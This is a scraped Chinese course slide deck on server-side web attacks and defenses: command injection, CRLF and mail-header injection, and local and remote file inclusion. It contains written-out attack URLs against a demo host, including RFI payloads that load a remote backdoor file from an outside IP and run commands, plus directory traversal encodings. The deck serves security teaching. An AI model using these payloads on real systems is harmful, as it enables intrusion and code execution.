More Related Content
Similar to 伺服器端攻擊與防禦II (20)
More from Taien Wang (12)
伺服器端攻擊與防禦II
- 2. 伺服器端攻擊與防禦II - 大綱
1. 注入缺失(Injection)
– 1.1 命令注入攻擊(Command Injection)
– 1.2 換行注入攻擊(Carriage Return Injection, CRLF Injection)
2. 濫用案例(Abuse Cases)
– 2.1 簡訊濫用
– 2.2 電子郵件濫用
3. 檔案或資源匯入安全(File Inclusion)
– 利用條件
• 變數覆蓋(register_globals等)
– 攻擊技巧
• 目錄遊走(Directory Traversal)攻擊
– 實際案例
– 解決方案
4. 作業
5. 參考資料
- 4. 1.1 Command Injection(1/2)
• PHP 中可以直接執行程式的函數
– eval(), assert(), system(), exec(), shell_exec(), passthru(), escapeshellcmd(), pcntl_exce()
• 攻擊手法
– |
– ;
– n(%0a)
• 範例
– 正常網址
• http://www.hackdemo.com/class2/command.php?dir=/
– 攻擊網址
• http://www.hackdemo.com/class2/command.php?dir=./;who
• http://www.hackdemo.com/class2/command.php?dir=./|who
- 6. 1.2 Carriage Return Injection(1/3)
• Carriage Return Injection(CRLF Injection) 簡介
– CRLF 為兩個字元「rn」 ,「r」CR(Carriage Return) 16 進位編碼為
0x0d, 「n」 LF(Line Feed) 16 進位編碼為 0x0a
– 在利用這類斷行符號的應用中,若沒做好過濾可能產生安全隱憂
• 範例: 如紀錄檔
– http://www.hackdemo.com/class2/CRLFLog.php?user=taien%0a%E4%
BD%BF%E7%94%A8%E8%80%85%E7%99%BB%E5%85%A5%E5%A4
%B1%E6%95%97:%20hacker
- 7. 1.2 Carriage Return Injection(2/3)
• PHP4.4.2 與 5.1.2 以限定單一 header
• 攻擊影響
– 透過 CRLF 可任意創建 HTTP 回應 (Http Response Splitting)
– 郵件濫用
– 指定 Session Id
– 可關閉 IE XSS Filter
• X-XSS-Protection: 0
– …
• 範例
– 攻擊網址
• http://www.hackdemo.com/class2/CRLF.php?url=www.hackdemo.co
m%0D%0ASet-Cookie: PHPSESSION=hacked;max-
age=10000000;path=/
- 12. 2.2 郵件濫用(1/2)
• PHP 中的 mail() 與 mb_send_mail(),透過換行或逗號對任意使用者傳送信件
• 攻擊效果, 竄改信件標頭
– From: taien.nethack@gmail.com
– Bcc: taien.vip@gmail.com, taien_wang@hiiir.com
• 範例
– 正常網址
• http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body=
mail&from=taien.nethack@gmail.com
– 攻擊網址
• http://www.hackdemo.com/class2/mail.php?to=taien@abc.com&subject=title&body=
mail+injection&from=taien.nethack@gmail.com%0d%0aBCC%3A%2ctaien.vip@gmail
.com%2ctaien_wang@hiiir.com
- 15. 3. 檔案或資源匯入安全
• 依據引入來源一般可分為本地及遠端
– 本地檔案引入弱點(Local File Inclusion)
– 遠端檔案引入弱點(Remote File Inclusion)
• 各語言常見函數
– PHP
• include(), include_once(), require(), require_once(), fopen(),
readfile()…
– JSP/Servlet
• Ava.io.File(), java.io.FileReader()
– ASP
• Include file, include virtual, …
- 16. 3.1 檔案或資源匯入安全 – 利用條件
• 遠端檔案引入弱點(Remote File Inclusion),利用條件
• allow_url_fopen (php 4.x)
• allow_url_include (php 5.2.x)
– 或
• register_globals 開啟造成變數覆蓋
• 其他有可能造成變數覆蓋的函數
- 18. 3.2 檔案或資源匯入安全 – 攻擊手法(2/5)
• 通用技巧
– 0位元截斷(0, %00)
– ?
• 本地端引入技巧
– 超長字串
• Windows: 超過 256 位元組
• Linux: 超過 4096 位元組
- 19. 3.2 檔案或資源匯入安全 – 攻擊手法(3/5)
• 目錄遊走(Directory Traversal)攻擊
• ..
• 一些變形
編碼 等同
%2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..
%2e%2e ..
..%5c ..
%252e%252e%255c ..
..%255c ..
- 20. 3.2 檔案或資源匯入安全 – 攻擊手法(4/5)
• 本地端引入技巧
– 使用者上傳檔案
– session暫存檔案
– 記錄檔 access log
– 上傳暫存檔案 RFC 1867
– /proc/self/environ web執行緒的環境變數
– data://或 php:input 等擬真通訊協定
– 應用程式建立的檔案(資料庫檔案, 快取檔案, 應用記錄檔…)
- 21. 3.2 檔案或資源匯入安全 – 攻擊手法(5/5)
• 攻擊範例
– RFI.php
• http://www.hackdemo.com/class2/RFI.php?path=http://163.13.200.164/~taien
/door.txt&cmd=dir
• http://www.hackdemo.com/class2/RFI.php?gpath=http://163.13.200.164/~taie
n/door.txt&cmd=dir
– RFISplit.php
• http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13.
200.164/~taien/door.txt?
• http://www.hackdemo.com/class2/RFISplit.php?cmd=dir&gpath=http://163.13.
200.164/~taien/door.txt%00
– LFI.php
• http://www.hackdemo.com/class2/LFI.php?log=fail
• http://www.hackdemo.com/class2/LFI.php?log=fail........secret.txt%00
- 22. 3.3 檔案或資源匯入安全 – 解決方案
• 解決方案
– 白名單
– 黑名單
• 過濾不正常字串
• basename()
– 系統設定
• PHP.ini
– allow_url_fopen off
– allow_url_include off
– register_globals off
– open_basedir
» Windows 多目錄設定”分號”
» Linux 多目錄設定”冒號”
• Apache
<Directory /home/taien/>
php_admin_flag allow_url_fopen off
</Directory>
- 23. 3.4 檔案或資源匯入安全 – 實際案例(1/5)
• 知名公告系統 - ANN 公告系統(http://nextime.byethost4.com/)
- 31. 參考資料
• 吳翰清, 網路竟然這麼危險(白帽子讲Web安全), 2012
• 柯志杰譯, 網頁程式駭客攻防實戰以PHP為例, 2007
• OWASP, OWASP Testing Guide v3.0
• Gynvael Coldwind , PHP LFI to arbitratry code execution via rfc1867 file
upload temporary files, 2011
• Cb520, ANN公告系統漏洞, 2007
• Exploit-DB